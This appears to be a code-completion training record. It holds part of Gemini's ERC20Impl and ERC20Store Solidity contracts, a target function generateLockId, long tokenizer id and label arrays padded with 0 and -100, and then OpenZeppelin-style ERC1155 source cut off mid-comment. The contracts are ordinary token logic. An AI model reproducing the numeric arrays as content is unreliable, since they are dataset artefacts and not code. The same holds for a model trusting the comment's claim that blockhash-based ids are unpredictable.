pending print request. */ function confirmPrint(bytes32 _lockId) public onlyCustodian { PendingPrint storage print = pendingPrintMap[_lockId]; // reject ‘null’ results from the map lookup // this can only be the case if an unknown `_lockId` is received address receiver = print.receiver; require (receiver != address(0)); uint256 value = print.value; delete pendingPrintMap[_lockId]; uint256 supply = erc20Store.totalSupply(); uint256 newSupply = supply + value; if (newSupply >= supply) { erc20Store.setTotalSupply(newSupply); erc20Store.addBalance(receiver, value); emit PrintingConfirmed(_lockId, receiver, value); erc20Proxy.emitTransfer(address(0), receiver, value); } } /** @notice Burns the specified value from the sender's balance. * * @dev Sender's balanced is subtracted by the amount they wish to burn. * * @param _value The amount to burn. * * @return success true if the burn succeeded. */ function burn(uint256 _value) public returns (bool success) { uint256 balanceOfSender = erc20Store.balances(msg.sender); require(_value <= balanceOfSender); erc20Store.setBalance(msg.sender, balanceOfSender - _value); erc20Store.setTotalSupply(erc20Store.totalSupply() - _value); erc20Proxy.emitTransfer(msg.sender, address(0), _value); return true; } /** @notice A function for a sender to issue multiple transfers to multiple * different addresses at once. This function is implemented for gas * considerations when someone wishes to transfer, as one transaction is * cheaper than issuing several distinct individual `transfer` transactions. * * @dev By specifying a set of destination addresses and values, the * sender can issue one transaction to transfer multiple amounts to * distinct addresses, rather than issuing each as a separate * transaction. The `_tos` and `_values` arrays must be equal length, and * an index in one array corresponds to the same index in the other array * (e.g. `_tos[0]` will receive `_values[0]`, `_tos[1]` will receive * `_values[1]`, and so on.) * NOTE: transfers to the zero address are disallowed. * * @param _tos The destination addresses to receive the transfers. * @param _values The values for each destination address. * @return success If transfers succeeded. */ function batchTransfer(address[] _tos, uint256[] _values) public returns (bool success) { require(_tos.length == _values.length); uint256 numTransfers = _tos.length; uint256 senderBalance = erc20Store.balances(msg.sender); for (uint256 i = 0; i < numTransfers; i++) { address to = _tos[i]; require(to != address(0)); uint256 v = _values[i]; require(senderBalance >= v); if (msg.sender != to) { senderBalance -= v; erc20Store.addBalance(to, v); } erc20Proxy.emitTransfer(msg.sender, to, v); } erc20Store.setBalance(msg.sender, senderBalance); return true; } /** @notice Enables the delegation of transfer control for many * accounts to the sweeper account, transferring any balances * as well to the given destination. * * @dev An account delegates transfer control by signing the * value of `sweepMsg`. The sweeper account is the only authorized * caller of this function, so it must relay signatures on behalf * of accounts that delegate transfer control to it. Enabling * delegation is idempotent and permanent. If the account has a * balance at the time of enabling delegation, its balance is * also transfered to the given destination account `_to`. * NOTE: transfers to the zero address are disallowed. * * @param _vs The array of recovery byte components of the ECDSA signatures. * @param _rs The array of 'R' components of the ECDSA signatures. * @param _ss The array of 'S' components of the ECDSA signatures. * @param _to The destination for swept balances. */ function enableSweep(uint8[] _vs, bytes32[] _rs, bytes32[] _ss, address _to) public onlySweeper { require(_to != address(0)); require((_vs.length == _rs.length) && (_vs.length == _ss.length)); uint256 numSignatures = _vs.length; uint256 sweptBalance = 0; for (uint256 i=0; i<numSignatures; ++i) { address from = ecrecover(sweepMsg, _vs[i], _rs[i], _ss[i]); // ecrecover returns 0 on malformed input if (from != address(0)) { sweptSet[from] = true; uint256 fromBalance = erc20Store.balances(from); if (fromBalance > 0) { sweptBalance += fromBalance; erc20Store.setBalance(from, 0); erc20Proxy.emitTransfer(from, _to, fromBalance); } } } if (sweptBalance > 0) { erc20Store.addBalance(_to, sweptBalance); } } /** @notice For accounts that have delegated, transfer control * to the sweeper, this function transfers their balances to the given * destination. * * @dev The sweeper account is the only authorized caller of * this function. This function accepts an array of addresses to have their * balances transferred for gas efficiency purposes. * NOTE: any address for an account that has not been previously enabled * will be ignored. * NOTE: transfers to the zero address are disallowed. * * @param _froms The addresses to have their balances swept. * @param _to The destination address of all these transfers. */ function replaySweep(address[] _froms, address _to) public onlySweeper { require(_to != address(0)); uint256 lenFroms = _froms.length; uint256 sweptBalance = 0; for (uint256 i=0; i<lenFroms; ++i) { address from = _froms[i]; if (sweptSet[from]) { uint256 fromBalance = erc20Store.balances(from); if (fromBalance > 0) { sweptBalance += fromBalance; erc20Store.setBalance(from, 0); erc20Proxy.emitTransfer(from, _to, fromBalance); } } } if (sweptBalance > 0) { erc20Store.addBalance(_to, sweptBalance); } } /** @notice Core logic of the ERC20 `transferFrom` function. * * @dev This function can only be called by the referenced proxy, * which has a `transferFrom` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: transfers to the zero address are disallowed. * * @param _sender The address initiating the transfer in proxy. */ function transferFromWithSender( address _sender, address _from, address _to, uint256 _value ) public onlyProxy returns (bool success) { require(_to != address(0)); // ensure burn is the cannonical transfer to 0x0 uint256 balanceOfFrom = erc20Store.balances(_from); require(_value <= balanceOfFrom); uint256 senderAllowance = erc20Store.allowed(_from, _sender); require(_value <= senderAllowance); erc20Store.setBalance(_from, balanceOfFrom - _value); erc20Store.addBalance(_to, _value); erc20Store.setAllowance(_from, _sender, senderAllowance - _value); erc20Proxy.emitTransfer(_from, _to, _value); return true; } /** @notice Core logic of the ERC20 `transfer` function. * * @dev This function can only be called by the referenced proxy, * which has a `transfer` function. * Every argument passed to that function as well as the original * `msg.sender` gets passed to this function. * NOTE: transfers to the zero address are disallowed. * * @param _sender The address initiating the transfer in proxy. */ function transferWithSender( address _sender, address _to, uint256 _value ) public onlyProxy returns (bool success) { require(_to != address(0)); // ensure burn is the cannonical transfer to 0x0 uint256 balanceOfSender = erc20Store.balances(_sender); require(_value <= balanceOfSender); erc20Store.setBalance(_sender, balanceOfSender - _value); erc20Store.addBalance(_to, _value); erc20Proxy.emitTransfer(_sender, _to, _value); return true; } // METHODS (ERC20 sub interface impl.) /// @notice Core logic of the ERC20 `totalSupply` function. function totalSupply() public view returns (uint256) { return erc20Store.totalSupply(); } /// @notice Core logic of the ERC20 `balanceOf` function. function balanceOf(address _owner) public view returns (uint256 balance) { return erc20Store.balances(_owner); } /// @notice Core logic of the ERC20 `allowance` function. function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return erc20Store.allowed(_owner, _spender); } // EVENTS /// @dev Emitted by successful `requestPrint` calls. event PrintingLocked(bytes32 _lockId, address _receiver, uint256 _value); /// @dev Emitted by successful `confirmPrint` calls. event PrintingConfirmed(bytes32 _lockId, address _receiver, uint256 _value); } /** @title ERC20 compliant token balance store. * * @notice This contract serves as the store of balances, allowances, and * supply for the ERC20 compliant token. No business logic exists here. * * @dev This contract contains no business logic and instead * is the final destination for any change in balances, allowances, or token * supply. This contract is upgradeable in the sense that its custodian can * update the `erc20Impl` address, thus redirecting the source of logic that * determines how the balances will be updated. * * @author Gemini Trust Company, LLC */ contract ERC20Store is ERC20ImplUpgradeable { // MEMBERS /// @dev The total token supply. uint256 public totalSupply; /// @dev The mapping of balances. mapping (address => uint256) public balances; /// @dev The mapping of allowances. mapping (address => mapping (address => uint256)) public allowed; // CONSTRUCTOR function ERC20Store(address _custodian) ERC20ImplUpgradeable(_custodian) public { totalSupply = 0; } // PUBLIC FUNCTIONS // (ERC20 Ledger) /** @notice The function to set the total supply of tokens. * * @dev Intended for use by token implementation functions * that update the total supply. The only authorized caller * is the active implementation. * * @param _newTotalSupply the value to set as the new total supply */ function setTotalSupply( uint256 _newTotalSupply ) public onlyImpl { totalSupply = _newTotalSupply; } /** @notice Sets how much `_owner` allows `_spender` to transfer on behalf * of `_owner`. * * @dev Intended for use by token implementation functions * that update spending allowances. The only authorized caller * is the active implementation. * * @param _owner The account that will allow an on-behalf-of spend. * @param _spender The account that will spend on behalf of the owner. * @param _value The limit of what can be spent. */ function setAllowance( address _owner, address _spender, uint256 _value ) public onlyImpl { allowed[_owner][_spender] = _value; } /** @notice Sets the balance of `_owner` to `_newBalance`. * * @dev Intended for use by token implementation functions * that update balances. The only authorized caller * is the active implementation. * * @param _owner The account that will hold a new balance. * @param _newBalance The balance to set. */ function setBalance( address _owner, uint256 _newBalance ) public onlyImpl { balances[_owner] = _newBalance; } /** @notice Adds `_balanceIncrease` to `_owner`'s balance. * * @dev Intended for use by token implementation functions * that update balances. The only authorized caller * is the active implementation. * WARNING: the caller is responsible for preventing overflow. * * @param _owner The account that will hold a new balance. * @param _balanceIncrease The balance to add. */ function addBalance( address _owner, uint256 _balanceIncrease ) public onlyImpl { balances[_owner] = balances[_owner] + _balanceIncrease; } }
FUNCTIONS* @notice Returns a fresh unique identifier. @dev the generation scheme uses three components. First, the blockhash of the previous block. Second, the deployed address. Third, the next value of the counter. This ensure that identifiers are unique across all contracts following this scheme, and that future identifiers are unpredictable. @return a 32-byte unique identifier./
function generateLockId() internal returns (bytes32 lockId) { return keccak256(block.blockhash(block.number - 1), address(this), ++lockRequestCount); }
12,619,974
[ 1, 4625, 348, 7953, 560, 30, 225, 13690, 55, 14, 632, 20392, 225, 2860, 279, 12186, 3089, 2756, 18, 632, 5206, 326, 9377, 4355, 4692, 8925, 4085, 18, 5783, 16, 326, 1203, 2816, 434, 326, 2416, 1203, 18, 7631, 16, 326, 19357, 1758, 18, 935, 6909, 16, 326, 1024, 460, 434, 326, 3895, 18, 1220, 3387, 716, 9863, 854, 3089, 10279, 777, 20092, 3751, 333, 4355, 16, 471, 716, 3563, 9863, 854, 640, 14491, 429, 18, 632, 2463, 279, 3847, 17, 7229, 3089, 2756, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2103, 2531, 548, 1435, 2713, 1135, 261, 3890, 1578, 2176, 548, 13, 288, 203, 3639, 327, 417, 24410, 581, 5034, 12, 2629, 18, 2629, 2816, 12, 2629, 18, 2696, 300, 404, 3631, 1758, 12, 2211, 3631, 965, 739, 691, 1380, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC1155.sol"; import "./IERC1155Receiver.sol"; import "./extensions/IERC1155MetadataURI.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require( account != address(0), "ERC1155: balance query for the zero address" ); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require( accounts.length == ids.length, "ERC1155: accounts and ids length mismatch" ); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require( _msgSender() != operator, "ERC1155: setting approval status for self" ); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer( operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data ); uint256 fromBalance = _balances[id][from]; require( fromBalance >= amount, "ERC1155: insufficient balance for transfer" ); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( ids.length == amounts.length, "ERC1155: ids and amounts length mismatch" ); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require( fromBalance >= amount, "ERC1155: insufficient balance for transfer" ); _balances[id][from] = fromBalance - amount; _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck( operator, from, to, ids, amounts, data ); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer( operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data ); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck( operator, address(0), account, id, amount, data ); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require( ids.length == amounts.length, "ERC1155: ids and amounts length mismatch" ); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck( operator, address(0), to, ids, amounts, data ); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer( operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), "" ); uint256 accountBalance = _balances[id][account]; require( accountBalance >= amount, "ERC1155: burn amount exceeds balance" ); _balances[id][account] = accountBalance - amount; emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require( ids.length == amounts.length, "ERC1155: ids and amounts length mismatch" ); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require( accountBalance >= amount, "ERC1155: burn amount exceeds balance" ); _balances[id][account] = accountBalance - amount; } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received( operator, from, id, amount, data ) returns (bytes4 response) { if ( response != IERC1155Receiver(to).onERC1155Received.selector ) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived( operator, from, ids, amounts, data ) returns (bytes4 response) { if ( response != IERC1155Receiver(to).onERC1155BatchReceived.selector ) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle( address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value ); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll( address indexed account, address indexed operator, bool approved ); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return 